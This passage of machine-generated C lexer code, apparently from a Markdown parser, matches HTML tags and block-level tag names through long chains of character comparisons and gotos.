= *++p; if (yych == 'D') goto yy518; if (yych == 'd') goto yy518; goto yy491; yy511: yych = *++p; if (yych <= 0x1F) { if (yych <= 0x08) goto yy491; if (yych <= '\r') goto yy511; goto yy491; } else { if (yych <= ' ') goto yy511; if (yych == '>') goto yy505; goto yy491; } yy513: yych = *++p; if (yybm[0+yych] & 4) { goto yy513; } if (yych <= ',') { if (yych <= '\r') { if (yych <= 0x08) goto yy491; goto yy519; } else { if (yych == ' ') goto yy519; goto yy491; } } else { if (yych <= '<') { if (yych <= '/') goto yy502; goto yy491; } else { if (yych <= '=') goto yy521; if (yych <= '>') goto yy505; goto yy491; } } yy515: yych = *++p; yy516: if (yybm[0+yych] & 8) { goto yy515; } if (yych <= 0x00) goto yy491; goto yy522; yy517: yych = *++p; if (yych == '-') goto yy502; if (yych == '>') goto yy491; goto yy516; yy518: yych = *++p; if (yych == 'A') goto yy523; if (yych == 'a') goto yy523; goto yy491; yy519: yych = *++p; if (yych <= '<') { if (yych <= ' ') { if (yych <= 0x08) goto yy491; if (yych <= '\r') goto yy519; if (yych <= 0x1F) goto yy491; goto yy519; } else { if (yych <= '/') { if (yych <= '.') goto yy491; goto yy502; } else { if (yych == ':') goto yy513; goto yy491; } } } else { if (yych <= 'Z') { if (yych <= '=') goto yy521; if (yych <= '>') goto yy505; if (yych <= '@') goto yy491; goto yy513; } else { if (yych <= '_') { if (yych <= '^') goto yy491; goto yy513; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy513; goto yy491; } } } yy521: yych = *++p; if (yybm[0+yych] & 16) { goto yy524; } if (yych <= 0x00) goto yy491; if (yych <= ' ') goto yy526; if (yych <= '"') goto yy527; if (yych <= '\'') goto yy529; goto yy491; yy522: yych = *++p; if (yybm[0+yych] & 8) { goto yy515; } if (yych <= 0x00) goto yy491; goto yy502; yy523: yych = *++p; if (yych == 'T') goto yy531; if (yych == 't') goto yy531; goto yy491; yy524: yych = *++p; if (yybm[0+yych] & 16) { goto yy524; } if (yych <= 0x00) goto yy491; if (yych <= ' ') goto yy532; if (yych == '>') goto yy505; goto yy491; yy526: yych = *++p; if (yybm[0+yych] & 16) { goto yy524; } if (yych <= '"') { if (yych <= 0x00) goto yy491; if (yych <= ' ') goto yy534; } else { if (yych <= '\'') goto yy529; if (yych == '>') goto yy505; goto yy491; } yy527: yych = *++p; if (yybm[0+yych] & 32) { goto yy527; } if (yych <= 0x00) goto yy491; goto yy536; yy529: yych = *++p; if (yybm[0+yych] & 64) { goto yy529; } if (yych <= 0x00) goto yy491; goto yy536; yy531: yych = *++p; if (yych == 'A') goto yy537; if (yych == 'a') goto yy537; goto yy491; yy532: yych = *++p; if (yych <= '9') { if (yych <= ' ') { if (yych <= 0x08) { if (yych <= 0x00) goto yy491; goto yy524; } else { if (yych <= '\r') goto yy532; if (yych <= 0x1F) goto yy524; goto yy532; } } else { if (yych <= '"') { if (yych <= '!') goto yy524; goto yy491; } else { if (yych == '\'') goto yy491; goto yy524; } } } else { if (yych <= '@') { if (yych <= ';') { if (yych <= ':') goto yy538; goto yy524; } else { if (yych <= '=') goto yy491; if (yych <= '>') goto yy505; goto yy524; } } else { if (yych <= '_') { if (yych <= 'Z') goto yy538; if (yych <= '^') goto yy524; goto yy538; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy538; goto yy524; } } } yy534: yych = *++p; if (yych <= '9') { if (yych <= ' ') { if (yych <= 0x08) { if (yych <= 0x00) goto yy491; goto yy524; } else { if (yych <= '\r') goto yy534; if (yych <= 0x1F) goto yy524; goto yy534; } } else { if (yych <= '"') { if (yych <= '!') goto yy524; goto yy527; } else { if (yych == '\'') goto yy529; goto yy524; } } } else { if (yych <= '@') { if (yych <= ';') { if (yych <= ':') goto yy538; goto yy524; } else { if (yych <= '=') goto yy491; if (yych <= '>') goto yy505; goto yy524; } } else { if (yych <= '_') { if (yych <= 'Z') goto yy538; if (yych <= '^') goto yy524; goto yy538; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy538; goto yy524; } } } yy536: yych = *++p; if (yybm[0+yych] & 1) { goto yy500; } if (yych == '/') goto yy502; if (yych == '>') goto yy505; goto yy491; yy537: yych = *++p; if (yych == '[') goto yy540; goto yy491; yy538: yych = *++p; if (yych <= '/') { if (yych <= '!') { if (yych <= '\r') { if (yych <= 0x00) goto yy491; if (yych <= 0x08) goto yy524; goto yy542; } else { if (yych == ' ') goto yy542; goto yy524; } } else { if (yych <= '\'') { if (yych <= '"') goto yy491; if (yych <= '&') goto yy524; goto yy491; } else { if (yych <= ',') goto yy524; if (yych <= '.') goto yy538; goto yy524; } } } else { if (yych <= '@') { if (yych <= '<') { if (yych <= ':') goto yy538; if (yych <= ';') goto yy524; goto yy491; } else { if (yych <= '=') goto yy521; if (yych <= '>') goto yy505; goto yy524; } } else { if (yych <= '_') { if (yych <= 'Z') goto yy538; if (yych <= '^') goto yy524; goto yy538; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy538; goto yy524; } } } yy540: yych = *++p; if (yybm[0+yych] & 128) { goto yy540; } if (yych <= 0x00) goto yy491; goto yy544; yy542: yych = *++p; if (yych <= ':') { if (yych <= ' ') { if (yych <= 0x08) { if (yych <= 0x00) goto yy491; goto yy524; } else { if (yych <= '\r') goto yy542; if (yych <= 0x1F) goto yy524; goto yy542; } } else { if (yych <= '&') { if (yych == '"') goto yy491; goto yy524; } else { if (yych <= '\'') goto yy491; if (yych <= '9') goto yy524; goto yy538; } } } else { if (yych <= '@') { if (yych <= '<') { if (yych <= ';') goto yy524; goto yy491; } else { if (yych <= '=') goto yy521; if (yych <= '>') goto yy505; goto yy524; } } else { if (yych <= '_') { if (yych <= 'Z') goto yy538; if (yych <= '^') goto yy524; goto yy538; } else { if (yych <= '`') goto yy491; if (yych <= 'z') goto yy538; goto yy524; } } } yy544: yych = *++p; if (yybm[0+yych] & 128) { goto yy540; } if (yych <= 0x00) goto yy491; yych = *++p; if (yych <= 0x00) goto yy491; if (yych == '>') goto yy505; goto yy540; } } // Try to match an HTML block tag including first <, // returning num of chars matched. int _scan_html_block_tag(const unsigned char *p) { const unsigned char *marker = NULL; const unsigned char *start = p; { unsigned char yych; yych = *p; if (yych == '\n') goto yy548; if (yych == '<') goto yy550; goto yy549; yy548: { return 0; } yy549: ++p; goto yy548; yy550: yych = *(marker = ++p); switch (yych) { case '!': case '?': goto yy551; case '/': goto yy553; case 'A': case 'a': goto yy555; case 'B': case 'b': goto yy556; case 'C': case 'c': goto yy557; case 'D': case 'd': goto yy558; case 'E': case 'e': goto yy559; case 'F': case 'f': goto yy560; case 'H': case 'h': goto yy561; case 'I': case 'i': goto yy562; case 'L': case 'l': goto yy563; case 'M': case 'm': goto yy564; case 'O': case 'o': goto yy565; case 'P': case 'p': goto yy566; case 'S': case 's': goto yy567; case 'T': case 't': goto yy568; case 'U': case 'u': goto yy569; case 'V': case 'v': goto yy570; default: goto yy548; } yy551: ++p; { return (p - start); } yy553: yych = *++p; switch (yych) { case 'A': case 'a': goto yy571; case 'B': case 'b': goto yy572; case 'C': case 'c': goto yy573; case 'D': case 'd': goto yy574; case 'E': case 'e': goto yy575; case 'F': case 'f': goto yy576; case 'H': case 'h': goto yy577; case 'I': case 'i': goto yy578; case 'L': case 'l': goto yy579; case 'M': case 'm': goto yy580; case 'O': case 'o': goto yy581; case 'P': case 'p': goto yy582; case 'S': case 's': goto yy583; case 'T': case 't': goto yy584; case 'U': case 'u': goto yy585; case 'V': case 'v': goto yy586; default: goto yy554; } yy554: p = marker; goto yy548; yy555: yych = *++p; if (yych <= 'S') { if (yych <= 'Q') goto yy554; if (yych <= 'R') goto yy587; goto yy588; } else { if (yych <= 'q') goto yy554; if (yych <= 'r') goto yy587; if (yych <= 's') goto yy588; goto yy554; } yy556: yych = *++p; if (yych <= 'U') { if (yych <= 'N') { if (yych == 'L') goto yy589; goto yy554; } else { if (yych <= 'O') goto yy590; if (yych <= 'T') goto yy554; goto yy591; } } else { if (yych <= 'n') { if (yych == 'l') goto yy589; goto yy554; } else { if (yych <= 'o') goto yy590; if (yych == 'u') goto yy591; goto yy554; } } yy557: yych = *++p; if (yych <= 'O') { if (yych == 'A') goto yy592; if (yych <= 'N') goto yy554; goto yy593; } else { if (yych <= 'a') { if (yych <= '`') goto yy554; goto yy592; } else { if (yych == 'o') goto yy593; goto yy554; } } yy558: yych = *++p; if (yych <= 'T') { if (yych <= 'I') { if (yych == 'D') goto yy594; if (yych <= 'H') goto yy554; goto yy595; } else { if (yych == 'L') goto yy594; if (yych <= 'S') goto yy554; goto yy594; } } else { if (yych <= 'i') { if (yych == 'd') goto yy594; if (yych <= 'h') goto yy554; goto yy595; } else { if (yych <= 'l') { if (yych <= 'k') goto yy554; goto yy594; } else { if (yych == 't') goto yy594; goto yy554; } } } yy559: yych = *++p; if (yych == 'M') goto yy596; if (yych == 'm') goto yy596; goto yy554; yy560: yych = *++p; if (yych <= 'O') { if (yych == 'I') goto yy597; if (yych <= 'N') goto yy554; goto yy598; } else { if (yych <= 'i') { if (yych <= 'h') goto yy554; goto yy597; } else { if (yych == 'o') goto yy598; goto yy554; } } yy561: yych = *++p; if (yych <= 'Q') { if (yych <= 'D') { if (yych <= '0') goto yy554; if (yych <= '6') goto yy594; goto yy554; } else { if (yych <= 'E') goto yy599; if (yych == 'G') goto yy600; goto yy554; } } else { if (yych <= 'f') { if (yych <= 'R') goto yy594; if (yych == 'e') goto yy599; goto yy554; } else { if (yych <= 'g') goto yy600; if (yych == 'r') goto yy594; goto yy554; } } yy562: yych = *++p; if (yych == 'F') goto yy601; if (yych == 'f') goto yy601; goto yy554; yy563: yych = *++p; if (yych == 'I') goto yy594; if (yych == 'i') goto yy594; goto yy554; yy564: yych = *++p; if (yych == 'A') goto yy602; if (yych == 'a') goto yy602; goto yy554; yy565: yych = *++p; if (yych <= 'U') { if (yych <= 'K') { if (yych == 'B') goto yy603; goto yy554; } else { if (yych <= 'L') goto yy594; if (yych <= 'T') goto yy554; goto yy604; } } else { if (yych <= 'k') { if (yych == 'b') goto yy603; goto yy554; } else { if (yych <= 'l') goto yy594; if (yych == 'u') goto yy604; goto yy554; } } yy566: yych = *++p; if (yych <= '/') { if (yych <= 0x1F) { if (yych <= 0x08) goto yy554; if (yych <= '\r') goto yy605; goto yy554; } else { if (yych <= ' ') goto yy605; if (yych <= '.') goto yy554; goto yy605; } } else { if (yych <= 'Q') { if (yych == '>') goto yy605; goto yy554; } else { if (yych <= 'R') goto yy607; if (yych == 'r') goto yy607; goto yy554; } } yy567: yych = *++p; if (yych <= 'T') { if (yych <= 'D') { if (yych == 'C') goto yy608; goto yy554; } else { if (yych <= 'E') goto yy609; if (yych <= 'S') goto yy554; goto yy610; } } else { if (yych <= 'd') { if (yych == 'c') goto yy608; goto yy554; } else { if (yych <= 'e') goto yy609; if (yych == 't') goto yy610; goto yy554; } } yy568: yych = *++p; switch (yych) { case 'A': case 'a': goto yy611; case 'B': case 'b': goto yy612; case 'D': case 'R': case 'd': case 'r': goto yy594; case 'E': case 'e': goto yy613; case 'F': case 'f': goto yy614; case 'H': case 'h': goto yy615; default: goto yy554; } yy569: yych = *++p; if (yych == 'L') goto yy594; if (yych == 'l') goto yy594; goto yy554; yy570: yych = *++p; if (yych == 'I') goto yy616; if (yych == 'i') goto yy616; goto yy554; yy571: yych = *++p; if (yych <= 'S') { if (yych <= 'Q') goto yy554; if (yych <= 'R') goto yy617; goto yy618; } else { if (yych <= 'q') goto yy554; if (yych <= 'r') goto yy617; if (yych <= 's') goto yy618; goto yy554; } yy572: yych = *++p; if (yych <= 'U') { if (yych <= 'N') { if (yych == 'L') goto yy619; goto yy554; } else { if (yych <= 'O') goto yy620; if (yych <= 'T') goto yy554; goto yy621; } } else { if (yych <= 'n') { if (yych == 'l') goto yy619; goto yy554; } else { if (yych <= 'o') goto yy620; if (yych == 'u') goto yy621; goto yy554; } } yy573: yych = *++p; if (yych <= 'O') { if (yych == 'A') goto yy622; if (yych <= 'N') goto yy554; goto yy623; } else { if (yych <= 'a') { if (yych <= '`') goto yy554; goto yy622; } else { if (yych == 'o') goto yy623; goto yy554; } } yy574: yych = *++p; if (yych <= 'T') { if (yych <= 'I') { if (yych == 'D') goto yy624; if (yych <= 'H') goto yy554; goto yy625; } else { if (yych == 'L') goto yy624; if (yych <= 'S') goto yy554; goto yy624; } } else { if (yych <= 'i') { if (yych == 'd') goto yy624; if (yych <= 'h') goto yy554; goto yy625; } else { if (yych <= 'l') { if (yych <= 'k') goto yy554; goto yy624; } else { if (yych == 't') goto yy624; goto yy554; } } } yy575: yych = *++p; if (yych == 'M') goto yy626; if (yych == 'm') goto yy626; goto yy554; yy576: yych = *++p; if (yych <= 'O') { if (yych == 'I') goto yy627; if (yych <= 'N') goto yy554; goto yy628; } else { if (yych <= 'i') { if (yych <= 'h') goto yy554; goto yy627; } else { if (yych == 'o') goto yy628; goto yy554; } } yy577: yych = *++p; if (yych <= 'Q') { if (yych <= 'D') { if (yych <= '0') goto yy554; if (yych <= '6') goto yy624; goto yy554; } else { if (yych <= 'E') goto yy629; if (yych == 'G') goto yy630; goto yy554; } } else { if (yych <= 'f') { if (yych <= 'R') goto yy624; if (yych == 'e') goto yy629; goto yy554; } else { if (yych <= 'g') goto yy630; if (yych == 'r') goto yy624; goto yy554; } } yy578: yych = *++p; if (yych == 'F') goto yy631; if (yych == 'f') goto yy631; goto yy554; yy579: yych = *++p; if (yych == 'I') goto yy624; if (yych == 'i') goto yy624; goto yy554; yy580: yych = *++p; if (yych == 'A') goto yy632; if (yych == 'a') goto yy632; goto yy554; yy581: yych = *++p; if (yych <= 'U') { if (yych <= 'K') { if (yych == 'B') goto yy633; goto yy554; } else { if (yych <= 'L') goto yy624; if (yych <= 'T') goto yy554; goto yy634; } } else { if (yych <= 'k') { if (yych == 'b') goto yy633; goto yy554; } else { if (yych <= 'l') goto yy624; if (yych == 'u') goto yy634; goto yy554; } } yy582: yych = *++p; if (yych <= '=') { if (yych <= '\r') { if (yych <= 0x08) goto yy554; goto yy635; } else { if (yych == ' ') goto yy635; goto yy554; } } else { if (yych <= 'R') { if (yych <= '>') goto yy635; if (yych <= 'Q') goto yy554; goto yy637; } else { if (yych == 'r') goto yy637; goto yy554; } } yy583: yych = *++p; if (yych <= 'T') { if (yych <= 'D') { if (yych == 'C') goto yy638; goto yy554; } else { if (yych <= 'E') goto yy639; if (yych <= 'S') goto yy554; goto yy640; } } else { if (yych <= 'd') { if (yych == 'c') goto yy638; goto yy554; } else { if (yych <= 'e') goto yy639; if (yych == 't') goto yy640; goto yy554; } } yy584: yych = *++p; switch (yych) { case 'A': case 'a': goto yy641; case 'B': case 'b': goto yy642; case 'D': case 'R': case 'd': case 'r': goto yy624; case 'E': case 'e': goto yy643; case 'F': case 'f': goto yy644; case 'H': case 'h': goto yy645; default: goto yy554; } yy585: yych = *++p; if (yych == 'L') goto yy624; if (yych == 'l') goto yy624; goto yy554; yy586: yych = *++p; if (yych == 'I') goto yy646; if (yych == 'i') goto yy646; goto yy554; yy587: yych = *++p; if (yych == 'T') goto yy647; if (yych == 't') goto yy647; goto yy554; yy588: yych = *++p; if (yych == 'I') goto yy648; if (yych == 'i') goto yy648; goto yy554; yy589: yych = *++p; if (yych == 'O') goto yy649; if (yych == 'o') goto yy649; goto yy554; yy590: yych = *++p; if (yych == 'D') goto yy650; if (yych == 'd') goto yy650; goto yy554; yy591: yych = *++p; if (yych == 'T') goto yy651; if (yych == 't') goto yy651; goto yy554; yy592: yych = *++p; if (yych <= 'P') { if (yych == 'N') goto yy652; if (yych <= 'O') goto yy554; goto yy653; } else { if (yych <= 'n') { if (yych <= 'm') goto yy554; goto yy652; } else { if (yych == 'p') goto yy653; goto yy554; } } yy593: yych = *++p; if (yych == 'L') goto yy654; if (yych == 'l') goto yy654; goto yy554; yy594: yych = *++p; if (yych <= ' ') { if (yych <= 0x08) goto yy554; if (yych <= '\r') goto yy605; if (yych <= 0x1F) goto yy554; goto yy605; } else { if (yych <= '/') { if (yych <= '.') goto yy554; goto yy605; } else { if (yych == '>') goto yy605; goto yy554; } } yy595: yych = *++p; if (yych == 'V') goto yy594; if (yych == 'v') goto yy594; goto yy554; yy596: yych = *++p; if (yych == 'B') goto yy655; if (yych == 'b') goto yy655; goto yy554; yy597: yych = *++p; if (yych <= 'G') { if (yych == 'E') goto yy656; if (yych <= 'F') goto yy554; goto yy657; } else { if (yych <= 'e') { if (yych <= 'd') goto yy554; goto yy656; } else { if (yych == 'g') goto yy657; goto yy554; } } yy598: yych = *++p; if (yych <= 'R') { if (yych == 'O') goto yy658; if (yych <= 'Q') goto yy554; goto yy659; } else { if (yych <= 'o') { if (yych <= 'n') goto yy554; goto yy658; } else { if (yych == 'r') goto yy659; goto yy554; } } yy599: yych = *++p; if (yych == 'A') goto yy660; if (yych == 'a') goto yy660; goto yy554; yy600: yych = *++p; if (yych == 'R') goto yy661; if (yych == 'r') goto yy661; goto yy554; yy601: yych = *++p; if (yych == 'R') goto yy662; if (yych == 'r') goto yy662; goto yy554; yy602: yych = *++p; if (yych == 'P') goto yy594; if (yych == 'p') goto yy594; goto yy554; yy603: yych = *++p; if (yych == 'J') goto yy663; if (yych == 'j') goto yy663; goto yy554; yy604: yych = *++p; if (yych == 'T') goto yy664; if (yych == 't') goto yy664; goto yy554; yy605: ++p; { return (p - start); } yy607: yych = *++p; if (yych <= 'O') { if (yych == 'E') goto yy594; if (yych <= 'N') goto yy554; goto yy665; } else { if (yych <= 'e') { if (yych <= 'd') goto yy554; goto yy594; } else { if (yych == 'o') goto yy665; goto yy554; } } yy608: yych = *++p; if (yych == 'R') goto yy666; if (yych == 'r') goto yy666; goto yy554; yy609: yych = *++p; if (yych == 'C') goto yy653; if (yych == 'c') goto yy653; goto yy554; yy610: yych = *++p; if (yych == 'Y') goto yy667; if (yych == 'y') goto yy667; goto yy554; yy611: yych = *++p; if (yych == 'B') goto yy667; if (yych == 'b') goto yy667; goto yy554; yy612: yych = *++p; if (yych == 'O') goto yy590; if (yych == 'o') goto yy590; goto yy554; yy613: yych = *++p; if (yych == 'X') goto yy668; if (yych == 'x') goto yy668; goto yy554; yy614: yych = *++p; if (yych == 'O') goto yy669; if (yych == 'o') goto yy669; goto yy554; yy615: yych = *++p; if (yych <= '/') { if (yych <= 0x1F) { if (yych <= 0x08) goto yy554; if (yych <= '\r') goto yy605; goto yy554; } else { if (yych <= ' ') goto yy605; if (yych <= '.') goto yy554; goto yy605; } } else { if (yych <= 'D') { if (yych == '>') goto yy605; goto yy554; } else { if (yych <= 'E') goto yy670; if (yych == 'e') goto yy670; goto yy554; } } yy616: yych = *++p; if (yych == 'D') goto yy671; if (yych == 'd') goto yy671; goto yy554; yy617: yych = *++p; if (yych == 'T') goto yy672; if (yych == 't') goto yy672; goto yy554; yy618: yych = *++p; if (yych == 'I') goto yy673; if (yych == 'i') goto yy673; goto yy554; yy619: yych = *++p; if (yych == 'O') goto yy674; if (yych == 'o') goto yy674; goto yy554; yy620: yych = *++p; if (yych == 'D') goto yy675; if (yych == 'd') goto yy675; goto yy554; yy621: yych = *++p; if (yych == 'T') goto yy676; if (yych == 't') goto yy676; goto yy554; yy622: yych = *++p; if (yych <= 'P') { if (yych == 'N') goto yy677; if (yych <= 'O') goto yy554; goto yy678; } else { if (yych <= 'n') { if (yych <= 'm') goto yy554; goto yy677; } else { if (yych == 'p') goto yy678; goto yy554; } } yy623: yych = *++p; if (yych == 'L') goto yy679; if (yych == 'l') goto yy679; goto yy554; yy624: yych = *++p; if (yych <= 0x1F) { if (yych <= 0x08) goto yy554; if (yych <= '\r') goto yy635; goto yy554; } else { if (yych <= ' ') goto yy635; if (yych == '>') goto yy635; goto yy554; } yy625: yych = *++p; if (yych == 'V') goto yy624; if (yych == 'v') goto yy624; goto yy554; yy626: yych = *++p; if (yych == 'B') goto yy680; if (yych == 'b') goto yy680; goto yy554; yy627: yych = *++p; if (yych <= 'G') { if (yych == 'E') goto yy681; if (yych <= 'F') goto yy554; goto yy682; } else { if (yych <= 'e') { if (yych <= 'd') goto yy554; goto yy681; } else { if (yych == 'g') goto yy682; goto yy554; } } yy628: yych = *++p; if (yych <= 'R') { if (yych == 'O') goto yy683; if (yych <= 'Q') goto yy554; goto yy684; } else { if (yych <= 'o') { if (yych <= 'n') goto yy554; goto yy683; } else { if (yych == 'r') goto yy684; goto yy554; } } yy629: yych = *++p; if (yych == 'A') goto yy685; if (yych == 'a') goto yy685; goto yy554; yy630: yych = *++p; if (yych == 'R') goto yy686; if (yych == 'r') goto yy686; goto yy554; yy631: yych = *++p; if (yych == 'R') goto yy687; if (yych == 'r') goto yy687; goto yy554; yy632: yych = *++p; if (yych == 'P') goto yy624; if (yych == 'p') goto yy624; goto yy554; yy633: yych = *++p; if (yych == 'J') goto yy688; if (yych == 'j') goto yy688; goto yy554; yy634: yych = *++p; if (yych == 'T') goto yy689; if (yych == 't') goto yy689; goto yy554; yy635: ++p; { return (p - start); } yy637: yych = *++p; if (yych <= 'O') { if (yych == 'E') goto yy624; if (yych <= 'N') goto yy554; goto yy690; } else { if (yych <= 'e') { if (yych <= 'd') goto yy554; goto yy624; } else { if (yych == 'o') goto yy690; goto yy554; } } yy638: yych = *++p; if (yych == 'R') goto yy691; if (yych == 'r') goto yy691; goto yy554; yy639: yych = *++p; if (yych == 'C') goto yy678; if (yych == 'c') goto yy678; goto yy554; yy640: yych = *++p; if (yych == 'Y') goto yy692; if (yych == 'y') goto yy692; goto yy554; yy641: yych = *++p; if (yych == 'B') goto yy692; if (yych == 'b') goto yy692; goto yy554; yy642: yych = *++p; if (yych == 'O') goto yy620; if (yych == 'o') goto yy620; goto yy554; yy643: yych = *++p; if (yych == 'X') goto yy693; if (yych == 'x') goto yy693; goto yy554; yy644: yych = *++p; if (yych == 'O') goto yy694; if (yych == 'o') goto yy694; goto yy554; yy645: yych = *++p; if (yych <= '=') { if (yych <= '\r') { if (yych <= 0x08) goto yy554; goto yy635; } else { if (yych == ' ') goto yy635; goto yy554; } } else { if (yych <= 'E') { if (yych <= '>') goto yy635; if (yych <= 'D') goto yy554; goto yy695; } else { if (yych == 'e') goto yy695; goto yy554; } } yy646: yych = *++p; if (yych == 'D') goto yy696; if (yych == 'd') goto yy696; goto yy554; yy647: yych = *++p; if (yych == 'I') goto yy697; if (yych == 'i') goto yy697; goto yy554; yy648: yych = *++p; if (yych == 'D') goto yy698; if (yych == 'd') goto yy698; goto yy554; yy649: yych = *++p; if (yych == 'C') goto yy699; if (yych == 'c') goto yy699; goto yy554; yy650: yych = *++p; if (yych == 'Y') goto yy594; if (yych == 'y') goto yy594; goto yy554; yy651: yych = *++p; if (yych == 'T') goto yy700; if (yych == 't') goto yy700; goto yy554; yy652: yych = *++p; if (yych == 'V') goto yy701; if (yych == 'v') goto yy701; goto yy554; yy653: yych = *++p; if (yych == 'T') goto yy702; if (yych == 't') goto yy702; goto yy554; yy654: yych = *++p; if (yych <= '/') { if (yych <= 0x1F) { if (yych <= 0x08) goto yy554; if (yych <= '\r') goto yy605; goto yy554; } else { if (yych <= ' ') goto yy605; if (yych <= '.') goto yy554; goto yy605; } } else { if (yych <= 'F') { if (yych == '>') goto yy605; goto yy554; } else { if (yych <= 'G') goto yy600; if (yych == 'g') goto yy600; goto yy554; } } yy655: yych = *++p; if (yych == 'E') goto yy703; if (yych == 'e') goto yy703; goto yy554; yy656: yych = *++p; if (yych == 'L') goto yy704; if (yych == 'l') goto yy704; goto yy554; yy657: yych = *++p; if (yych <= 'U') { if (yych == 'C') goto yy705; if (yych <= 'T') goto yy554; goto yy706; } else { if (yych <= 'c') { if (yych <= 'b') goto yy554; goto yy705; } else { if (yych == 'u') goto yy706; goto yy554; } } yy658: yych = *++p; if (yych == 'T') goto yy707; if (yych == 't') goto yy707; goto yy554; yy659: yych = *++p; if (yych == 'M') goto yy594; if (yych == 'm') goto yy594; goto yy554; yy660: yych = *++p; if (yych == 'D') goto yy707; if (yych == 'd') goto yy707; goto yy554; yy661: yych = *++p; if (yych == 'O') goto yy708; if (yych == 'o') goto yy708; goto yy554; yy662: yych = *++p; if (yych == 'A') goto yy709; if (yych == 'a') goto yy709; goto yy554; yy663: yych = *++p; if (yych == 'E') goto yy710; if (yych == 'e') goto yy710; goto yy554; yy664: yych = *++p; if (yych == 'P') goto yy711; if (yych == 'p') goto yy711; goto yy554; yy665: yych = *++p; if (yych == 'G') goto yy712; if (yych == 'g') goto yy712; goto yy554; yy666: yych = *++p; if (yych == 'I') goto yy713; if (yych == 'i') goto yy713; goto yy554; yy667: yych = *++p; if (yych == 'L') goto yy698; if (yych == 'l') goto yy698; goto yy554; yy668: yych = *++p; if (yych == 'T') goto yy714; if (yych == 't') goto yy714; goto yy554; yy669: yych = *++p; if (yych == 'O') goto yy715; if (yych == 'o') goto yy715; goto yy554; yy670: yych = *++p; if (yych == 'A') goto yy703; if (yych == 'a') goto yy703; goto yy554; yy671: yych = *++p; if (yych == 'E') goto yy716; if (yych == 'e') goto yy716; goto yy554; yy672: yych = *++p; if (yych == 'I') goto yy717; if (yych == 'i') goto yy717; goto yy554; yy673: yych = *++p; if (yych == 'D') goto yy718; if (yych == 'd') goto yy718; goto yy554; yy674: yych = *++p; if (yych == 'C') goto yy719; if (yych == 'c') goto yy719; goto yy554; yy675: yych = *++p; if (yych == 'Y') goto yy624; if (yych == 'y') goto yy624; goto yy554; yy676: yych = *++p; if (yych == 'T') goto yy720; if (yych == 't') goto yy720; goto yy554; yy677: yych = *++p; if (yych == 'V') goto yy721; if (yych == 'v') goto yy721; goto yy554; yy678: yych = *++p; if (yych == 'T') goto yy722; if (yych == 't') goto yy722; goto yy554; yy679: yych = *++p; if (yych <= '=') { if (yych <= '\r') { if (yych <= 0x08) goto yy554; goto yy635; } else { if (yych == ' ') goto yy635; goto yy554; } } else { if (yych <= 'G') { if (yych <= '>') goto yy635; if (yych <= 'F') goto yy554; goto yy630; } else { if (yych == 'g') goto yy630; goto yy554; } } yy680: yych = *++p; if (yych == 'E') goto yy723; if (yych == 'e') goto yy723; goto yy554; yy681: yych = *++p; if (yych == 'L') goto yy724; if (yych == 'l') goto yy724; goto yy554; yy682: yych = *++p; if (yych <= 'U') { if (yych == 'C') goto yy725; if (yych <= 'T') goto yy554; goto yy726; } else { if (yych <= 'c') { if (yych <= 'b') goto yy554; goto yy725; } else { if (yych == 'u') goto yy726; goto yy554; } } yy683: yych = *++p; if (yych == 'T') goto yy727; if (yych == 't') goto yy727; goto yy554; yy684: yych = *++p; if (yych == 'M') goto yy624; if (yych == 'm') goto yy624; goto yy554; yy685: yych = *++p; if (yych == 'D') goto yy727; if (yych == 'd') goto yy727; goto yy554; yy686: yych = *++p; if (yych == 'O') goto yy728; if (yych == 'o') goto yy728; goto yy554; yy687: yych = *++p; if (yych == 'A') goto yy729; if (yych == 'a') goto yy729; goto yy554; yy688: yych = *++p; if (yych == 'E') goto yy730; if (yych == 'e') goto yy730; goto yy554; yy689: yych = *++p; if (yych == 'P') goto yy731; if (yych == 'p') goto yy731; goto yy554; yy690: yych = *++p; if (yych == 'G') goto yy732; if (yych == 'g') goto yy732; goto yy554; yy691: yych = *++p; if (yych == 'I') goto yy733; if (yych == 'i') goto yy733; goto yy554; yy692: yych = *++p; if (yych == 'L') goto yy718; if (yych == 'l') goto yy718; goto yy554; yy693: yych = *++p; if (yych == 'T') goto yy734; if (yych == 't') goto yy734; goto yy554; yy694: yych = *++p; if (yych == 'O') goto yy735; if (yych == 'o') goto yy735; goto yy554; yy695: yych = *++p; if (yych == 'A') goto yy723; if (yych == 'a') goto yy723; goto yy554; yy696: yych = *++p; if (yych == 'E') goto yy736; if (yych == 'e') goto yy736; goto yy554; yy697: yych = *++p; if (yych == 'C') goto yy667; if (yych == 'c') goto yy667; goto yy554; yy698: yych = *++p; if (yych == 'E') goto yy594; if (yych == 'e') goto yy594; goto yy554; yy699: yych = *++p; if (yych == 'K') goto yy737; if (yych == 'k') goto yy737; goto yy554; yy700: yych = *++p; if (yych == 'O') goto yy738; if (yych == 'o') goto yy738; goto yy554; yy701: yych = *++p; if (yych == 'A') goto yy739; if (yych == 'a') goto yy739; goto yy554; yy702: yych = *++p; if (yych == 'I') goto yy700; if (yych == 'i') goto yy700; goto yy554; yy703: yych = *++p; if (yych == 'D') goto yy594; if (yych == 'd') goto yy594; goto yy554; yy704: yych = *++p; if (yych == 'D') goto yy740; if (yych == 'd') goto yy740; goto yy554; yy705: yych = *++p; if (yych == 'A') goto yy741; if (yych == 'a') goto yy741; goto yy554; yy706: yych = *++p; if (yych == 'R') goto yy698; if (yych == 'r') goto yy698; goto yy554; yy707: yych = *++p; if (yych == 'E') goto yy742; if (yych == 'e') goto yy742; goto yy554; yy708: yych = *++p; if (yych == 'U') goto yy602; if (yych == 'u') goto yy602; goto yy554; yy709: yych = *++p; if (yych == 'M') goto yy698; if (yych == 'm') goto yy698; goto yy554; yy710: yych = *++p; if (yych == 'C') goto yy715; if (yych == 'c') goto yy715; goto yy554; yy711: yych = *++p; if (yych == 'U') goto yy715; if (yych == 'u') goto yy715; goto yy554; yy712: yych = *++p; if (yych == 'R') goto yy743; if (yych == 'r') goto yy743; goto yy554; yy713: yych = *++p; if (yych == 'P') goto yy715; if (yych == 'p') goto yy715; goto yy554; yy714: yych = *++p; if (yych == 'A') goto yy744; if (yych == 'a') goto yy744; goto yy554; yy715: yych = *++p; if (yych == 'T') goto yy594; if (yych == 't') goto yy594; goto yy554; yy716: yych = *++p; if (yych == 'O') goto yy594; if (yych == 'o') goto yy594; goto yy554; yy717: yych = *++p; if (yych == 'C') goto yy692; if (yych == 'c') goto yy692; goto yy554; yy718: yych = *++p; if 